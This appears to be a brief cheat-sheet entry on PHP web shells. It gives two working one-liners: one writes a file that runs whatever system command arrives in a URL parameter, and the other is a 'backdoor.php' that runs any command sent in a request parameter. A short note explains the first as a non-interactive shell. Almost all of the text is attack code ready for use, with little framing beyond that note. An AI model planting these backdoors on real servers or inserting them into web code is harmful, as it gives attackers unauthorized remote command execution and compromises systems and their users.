PHP

FORMAT 1:

root@oco:~$ echo '<?php system($_GET["cmd"]); ?>' > shell.php
 * the system() function which takes the URL parameter
   cmd as an input and executes it as a system command.
   
 * this is a non-interactive shell as it runs a single command per request 
   and returns the result. there's no back-and-forth, ongoing interaction 
   like in a terminal or shell.

FORMAT 2:

root@oco:~$ nano backdoor.php
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>

Last updated